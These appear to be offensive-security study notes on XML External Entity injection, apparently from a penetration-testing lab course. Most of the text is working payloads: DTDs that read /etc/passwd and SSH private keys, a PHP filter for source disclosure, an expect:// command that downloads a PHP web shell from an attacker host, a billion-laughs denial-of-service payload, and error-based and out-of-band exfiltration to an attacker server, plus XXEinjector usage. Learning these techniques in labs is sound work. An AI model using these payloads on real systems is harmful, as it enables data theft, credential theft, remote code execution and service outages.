XXE Injection

XML External Entity (XXE) Injection

  • Many web applications process XML data as part of their functionality
  • Website uses outdated library to parse XML
  • Send malicious XML data to disclose local files stored on the back-end server
  • Can be leveraged for RCE and stealing credentials
  • Furthermore, any document or file processors that may perform XML parsing, like SVG image processors or PDF document processors, may also be vulnerable to XXE vulnerabilities

Table of Contents

DTD

XML Document Type Definition (DTD) allows the validation of an XML document against a pre-defined document structure

e.g.

<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT cc (to*)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT time (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT to  (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>

Identifying XXE Injection

Intercept the request using Burp, and if the request seem to be passing XML content, it may be an injeciton point.

contact_form_xxe.png

xxe_burp.png

If the form uses an outdated xml library that does not properly sanitise input, we can XXE injection.

We need to examine which elements are displayed on the page. In the case of the input form, it is the email.

xxe_display_email.png

We can leverage this to obtain local file disclosure. We know that whatever is in <email></email> is disclosed on the page.

try to define a new entity and then use it as a variable in the email element to see whether it gets replaced with the value we defined ->

<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

Note: There's no DTD declared in this example, so we add a new one. If there is DTD, just add ENTITY element to it.

xxe_entity.png
Indeed it worked. This confirms that the web application is indeed vulnerable to XXE.

Note: When we encounter JSON, it may still accept XML, try change Content-Type header to application/xml, and then convert the JSON data to XML with an online tool. if it works, we can test XXE injection

Local File Disclosure

if we can reference external XML DTD document and define new custom XML entities, and display it on the webpage, we should also be able to define external entities and make them reference a local file (local file disclosure).

inject this DTD

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

for windows

C:\Users\<YourUsername>\.ssh\id_rsa
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///C:/users/daniel/.ssh/id_rsa">
]>

Reading Source Code

We want to read index.php
xxe_index_php.png

It did not output anything, because the index.php is not in a proper XML format. If a file contains XML's special characters (e.g. </>/&), it would break the external entity reference. We can't read binary, either, because that's also not XML format.

Luckily, we can get around that for PHP. We can base64 encode the file.

<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

RCE with XXE

simple ways -> ssh keys; utilize a hash stealing trick in Windows-based web applications

PHP-based application -> use PHP://expect filter, though this requires the PHP expect module to be installed and enabled

basic commands as expect://id are convenitent when element is displayed on the page. However, if not displayed on the page, and we need to set up a reverse shell, the XML syntax may break and the command may not execute.

Instead, upload a web shell to the server.

> echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
> sudo python3 -m http.server 80
<?xml version="1.0"?>
<!DOCTYPE item [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'10.10.14.90/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

Note: replaced all spaces in the above XML code with $IFS, to avoid breaking the XML syntax. Furthermore, many other characters like |, >, and { may break the code, so we should avoid using them.

Other RCE Attacks

SSRF exploitation; enumerate

  • locally open ports and access their pages
  • other restricted web pages

DOS

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>

The above payload will cause denial of service. This payload, by referencing a1 mutiple times and so on will cause the back-end server's memory runs out. This doesn't work with Apache or other modern servers.

Advanced File Disclosure

we used base64 to encode php files such that they conform to the XML format, but that's just php.

Instead, we can use CDATA for any web application.

XML prevents joining internal and external entities, so make it all external

  1. Host the file
> echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
> python3 -m http.server 8000
  1. Reference it in the XXE Injection
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/index.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://10.10.14.90:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->

This trick can become very handy when the basic XXE method does not work or when dealing with other web development frameworks.

Error Based XXE

if the page doesn't display any element, we can check If the web application displays runtime errors (e.g., PHP errors) and does not have proper exception handling for the XML input.

  1. Remove one of the closing tags or reference an unknown entity to try to inflict an error
    error_based_xxe.png
    Indeed it returned an error.

  2. Host a DTD file

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

defines the file parameter entity and then joins it with an entity that does not exist. web application would try an error saying entity does not exist, as well as the contents of //etc/hosts

  1. Reference the DTD file in injection
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

error_xxe_dtd.png
This method can also be used to read the source code of files. we can do "file:///var/www/html/submitDetails.php"). However, this method is not as reliable as the previous method for reading source files, as it may have length limitations, and certain special characters may still break it.

Blind Data Exfiltration

Out of Band (OOB) Data Exfiltration

often used in similar blind cases with many web attacks, like blind SQL injections, blind command injections, blind XSS, blind XXE

we will make the web application send a web request to our web server with the content of the file we are reading.

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

It will make a request in the directory of the base64 encoded content to our hosted web server. To simplify the prosess and not have to manually decode it, we can write a script

<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
  1. write the above PHP code to index.php, and start a PHP server on port 8000
> nano index.php # here we write the above PHP code
> php -S 0.0.0.0:8000

PHP 7.4.3 Development Server (http://0.0.0.0:8000) started
  1. inject XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

Automated OOB Data Exfiltration

  1. download the tool
git clone https://github.com/enjoiz/XXEinjector.git
  1. capture XXE data in burp and write it to a file (write XXEINJECT after the first line)
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
  1. run the tool
> ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=xxe.req --path=/etc/passwd --oob=http --phpfilter

...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:

--host/--httpport flags being our IP and port, the --file flag being the file we wrote above, and the --path flag being the file we want to read. We will also select the --oob=http and --phpfilter flags to repeat the OOB attack we did above

  1. read the file
> cat Logs/10.129.201.94/etc/passwd.log